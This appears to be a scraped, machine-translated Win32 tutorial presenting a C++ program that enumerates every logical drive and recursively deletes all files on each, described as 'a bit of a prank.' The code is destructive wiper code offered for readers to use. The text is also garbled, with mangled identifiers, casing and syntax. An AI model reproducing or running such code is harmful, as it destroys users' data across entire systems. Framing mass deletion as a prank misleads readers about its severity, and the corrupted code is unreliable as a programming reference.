The example in this article describes the method of traversing all files and deleting them based on the Windows API implementation. Share to everyone for your reference. The specific analysis is as follows:
have been learning the Windows API recently, got some fun things (a bit of a prank, please use caution) ...
Here is what I now learn to write a delete all the files on the hard drive applet ....
#include <windows.h> #include <stdio.h> #include <bitset> using namespace std;
void Delfile (char *cfilepath) {win32_find_data DATA;
HANDLE Hfind;
Char cfullpath[100];
Char cnewpath[100];
sprintf_s (Cfullpath, "%s\\*.*", Cfilepath);
Hfind=findfirstfile (Cfullpath,&data); do {if (!strcmp (".", Data.cfilename)) | |
(!STRCMP ("..", Data.cfilename))
{continue;
} if (data.dwfileattributes==file_attribute_directory) {sprintf_s (Cnewpath, "%s\\%s", cfilepath,data.cfilename);
Delfile (Cnewpath);//recursive}//MessageBox (Null,data.cfilename, "look", 0);
sprintf_s (Cfullpath, "%s\\%s", cfilepath,data.cfilename);
DeleteFile (Cfullpath);
}while (FindNextFile (hfind,&data)); int WINAPI WinMain (hinstance hinstance,//handle to current instance hinstance,//hprevinstance to handle
s instance LPSTR lpcmdline,//command line int ncmdshow//show state) {DWORD dwdrive=getlogicaldrives ();
Bitset<32> bit (dwdrive); Char path[3]={' A ', ': ', ''};
for (int ix=0;ix!=32;ix++) {if (Bit.test (ix)) {path[0]= ' A ' +ix;
Delfile (Path);
} return 0; }
I hope this article will help you with your Win32 programming.